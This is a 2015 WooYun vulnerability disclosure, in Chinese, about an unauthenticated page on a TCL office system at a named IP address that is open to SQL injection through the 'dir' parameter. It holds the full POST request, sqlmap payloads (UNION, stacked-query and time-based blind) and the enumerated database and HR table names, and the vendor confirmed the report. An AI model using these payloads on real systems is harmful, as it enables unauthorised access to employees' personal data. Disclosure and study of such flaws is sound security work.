当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-098588

漏洞标题：TCL某站未授权访问导致SQL注入

相关厂商：TCL官方网上商城

漏洞作者： 深度安全实验室

提交时间：2015-02-28 17:02

修复时间：2015-04-14 17:04

公开时间：2015-04-14 17:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-28： 细节已通知厂商并且等待厂商处理中
2015-02-28： 厂商已经确认，细节仅向厂商公开
2015-03-10： 细节向核心白帽子及相关领域专家公开
2015-03-20： 细节向普通白帽子公开
2015-03-30： 细节向实习白帽子公开
2015-04-14： 细节向公众公开

简要描述：

按理说所有的页面都需要登陆才能访问，但是此页面不需要，导致注入。

详细说明：

TCL的OA系统：

http://218.106.133.136/


未授权访问的页面：

http://218.106.133.136/SearchCase/StatusInquiry.aspx

1.jpg

存在SQL注入，出现问题的地方：

POST /WebService/SearchCase.asmx/StatusInquiryInfo HTTP/1.1
Host: 218.106.133.136
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://218.106.133.136/SearchCase/StatusInquiry.aspx
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 109
start=0&limit=10&sort=applydt&dir=DESC&SeachFile=ALL%2CDB%2C2015-02-01%2C2015-02-27%2C%2C%2CA%2CALL%2Cnull%2C

dir参数有问题。

2.JPG


sqlmap identified the following injection points with a total of 120 HTTP(s) requests:
---
Place: POST
Parameter: dir
    Type: UNION query
    Title: Generic UNION query (NULL) - 20 columns
    Payload: start=0&limit=10&sort=applydt&dir=DESC) UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(116)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(68)+CHAR(74)+CHAR(106)+CHAR(75)+CHAR(88)+CHAR(69)+CHAR(109)+CHAR(105)+CHAR(99)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(109)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: start=0&limit=10&sort=applydt&dir=DESC); WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: start=0&limit=10&sort=applydt&dir=DESC) WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: dir
    Type: UNION query
    Title: Generic UNION query (NULL) - 20 columns
    Payload: start=0&limit=10&sort=applydt&dir=DESC) UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(116)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(68)+CHAR(74)+CHAR(106)+CHAR(75)+CHAR(88)+CHAR(69)+CHAR(109)+CHAR(105)+CHAR(99)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(109)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: start=0&limit=10&sort=applydt&dir=DESC); WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: start=0&limit=10&sort=applydt&dir=DESC) WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [10]:
[*] distribution
[*] ECS
[*] Hrm
[*] Hrm_OEM
[*] HRM_SZ
[*] master
[*] model
[*] msdb
[*] OutStock
[*] tempdb


Hrm库中212个表：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: dir
    Type: UNION query
    Title: Generic UNION query (NULL) - 20 columns
    Payload: start=0&limit=10&sort=applydt&dir=DESC) UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(116)+CHAR(120)+CHAR(122)+CHAR(113)+CHAR(68)+CHAR(74)+CHAR(106)+CHAR(75)+CHAR(88)+CHAR(69)+CHAR(109)+CHAR(105)+CHAR(99)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(109)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: start=0&limit=10&sort=applydt&dir=DESC); WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: start=0&limit=10&sort=applydt&dir=DESC) WAITFOR DELAY '0:0:5'--&SeachFile=ALL,DB,2015-02-01,2015-02-27,,,A,ALL,null,
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: Hrm
[212 tables]
+--------------------------+
| AUTHORIZATION_TO_PAYMENT |
| Access_AreaMast          |
| Access_AreaPermission    |
| Access_DictDB            |
| Access_DoorDetail        |
| Access_DoorMast          |
| Access_DoorStatus        |
| Access_EntryRecord       |
| Access_EquipmentMast     |
| Access_GroupPermission   |
| Access_OperationRecord   |
| Access_TimeZone          |
| Access_UserPermission    |
| Budge_right_tree         |
| DevCmds                  |
| Devinfo                  |
| DinSysAccount            |
| EC_CJ_TEMP               |
| EC_CONTACTBOOK           |
| EC_LG_COSTWAT            |
| EC_LG_ROOMDETAIL         |
| EC_LG_ROOMMAST           |
| EC_LG_ROOMPERSON         |
| FAPAYMODEL               |
| FAPINGZHENMODEL          |
| FASUBJECT                |
| FaceTmp                  |
| Finance_MainIndex        |
| G4_worktimetable         |
| GSTEMP                   |
| HR_ConBase               |
| HR_DeptToWorkNo          |
| HR_UserGroup             |
| HR_condition             |
| Hr_OutDept               |
| Hr_Position              |
| Hr_Position_Bak          |
| Hr_SelectTemp            |
| Hrm_Freeze               |
| Kq_AllWorkHour           |
| OACITY                   |
| OAPROMARY                |
| OASUPPLIERNO             |
| OA_Account               |
| OA_AccountRight          |
| OA_BC_BudgetCost         |
| OA_BC_FreebackMSG        |
| OA_BC_VariableCost       |
| OA_BC_userright          |
| OA_Car_Booking           |
| OA_Car_Driver            |
| OA_Car_Info              |
| OA_CartNO                |
| OA_CompanyTemp           |
| OA_Controlsub            |
| OA_DocuMentList          |
| OA_EmailRemind           |
| OA_EmailRemindtest       |
| OA_Exam_DB               |
| OA_Exam_ExamMain         |
| OA_Exam_Options          |
| OA_FB_DirtDB             |
| OA_FB_Mainmast           |
| OA_FinanceList           |
| OA_FinancePayMent        |
| OA_GICFinancial          |
| OA_Hr_CommunicationBase  |
| OA_Hr_DictDB             |
| OA_Hr_EducationBase      |
| OA_Hr_EmployeeBase       |
| OA_Hr_EmployeeBaseSed    |
| OA_Hr_FamilyBase         |
| OA_Hr_LaborContract      |
| OA_Hr_LanguageBase       |
| OA_Hr_NationalTitles     |
| OA_Hr_WorkExperience     |
| OA_MES_Board             |
| OA_MainDocuMent          |
| OA_MeetingQuitment       |
| OA_MeetingRoom           |
| OA_Meetingarea           |
| OA_MessTrans             |
| OA_MsgTemp               |
| OA_NextDeptCode          |
| OA_Post                  |
| OA_PostAccount           |
| OA_PrgHeadType           |
| OA_ReplacecardRecord     |
| OA_Role                  |
| OA_SMS                   |
| OA_UserRole              |
| OA_WarehouseAuthorized   |
| OA_base                  |
| OA_companydetail         |
| OA_companymast           |
| OA_companymast_bak       |
| OA_deptleadership        |
| OA_fiveSgr               |
| OA_fiveSmsg              |
| OMS_DocMain              |
| OMS_MeetTable            |
| OMS_Members              |
| Oa_BC_Actualcost         |
| Oa_BC_BUSapcodeTable     |
| Oa_BC_BusinessCodeTable  |
| Oa_BC_ChangeCode         |
| Oa_BC_CodeTable          |
| Oa_BC_Costrate           |
| Oa_BC_FXrate             |
| Oa_BC_SapcodeTable       |
| Oa_BC_SubTable           |
| Oa_Dictionary            |
| Oa_Position              |
| Oa_RightMast             |
| Oa_dept                  |
| Oms_FileList             |
| Oms_ItemDetail           |
| Oms_ItemLog              |
| Oms_ItemMenPer           |
| Oms_ModelDetail          |
| Oms_ModelMain            |
| ProjectBase              |
| ProjectItem              |
| ProjectLog               |
| SyncTemp                 |
| Sys_PrgMast              |
| System_Menu              |
| System_PrgMast           |
| System_Update            |
| System_UserMast          |
| Table_1                  |
| Tmp_10                   |
| Tmp_9                    |
| Tmp_90                   |
| UserInfo                 |
| WF_Delegate              |
| WF_ModelDetail           |
| WF_ModelMast             |
| att_record               |
| budget_upload_excel      |
| deptMesTOHrm             |
| dtproperties             |
| fix_category             |
| fix_dictdb               |
| fix_fixedmast            |
| fix_mark                 |
| fix_mess                 |
| fix_news                 |
| fix_orders               |
| fix_sorts                |
| hr_AddrSFZ               |
| hr_RzEmailInfo           |
| hr_base                  |
| hr_class                 |
| hr_department            |
| hr_dept                  |
| hr_deptcopy              |
| hr_emp_titles            |
| hr_employee              |
| hr_employeeBF            |
| hr_employeeForSAP319     |
| hr_employee_20140707     |
| hr_employee_app          |
| hr_employee_lz           |
| hr_employee_rz           |
| hr_employee_tp           |
| hr_employee_tp_bak       |
| hr_employee_tpback       |
| hr_lzgl                  |
| kq_DoorRecord            |
| kq_LZDate                |
| kq_Machines              |
| kq_SpeOverTimeR          |
| kq_SpeWorkRecord         |
| kq_auto_Machines         |
| kq_base                  |
| kq_cardlist              |
| kq_finger                |
| kq_holiday               |
| kq_leave                 |
| kq_leaveDay              |
| kq_leave_bak             |
| kq_leave_main            |
| kq_leavemonth            |
| kq_machines_emp          |
| kq_machines_log          |
| kq_monthgs               |
| kq_overtime              |
| kq_overtime_bak          |
| kq_transpose             |
| kq_transpose_bak         |
| kq_workday               |
| kq_workday_bak           |
| kq_workday_checkUp       |
| kq_workmonth             |
| kq_workmonth_lz          |
| kq_workrecord            |
| kq_workrecord_bak        |
| kq_worktimetable         |
| oa_TotalMoney            |
| oa_TotalMoneySAP         |
| oa_TotalMoney_Test       |
| oa_accountbak            |
| oa_totalmoney_Copy       |
| oa_totalmoney_bak        |
| sys_user                 |
| sys_userright            |
| sysdiagrams              |
| system_Per               |
| tb_Temp                  |
| temptable                |
| 查询                       |
+--------------------------+


数据内容我就不去看了。。。

漏洞证明：

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-02-28 17:09

厂商回复：

感谢您的工作，已转交相关单位处理

最新状态：

暂无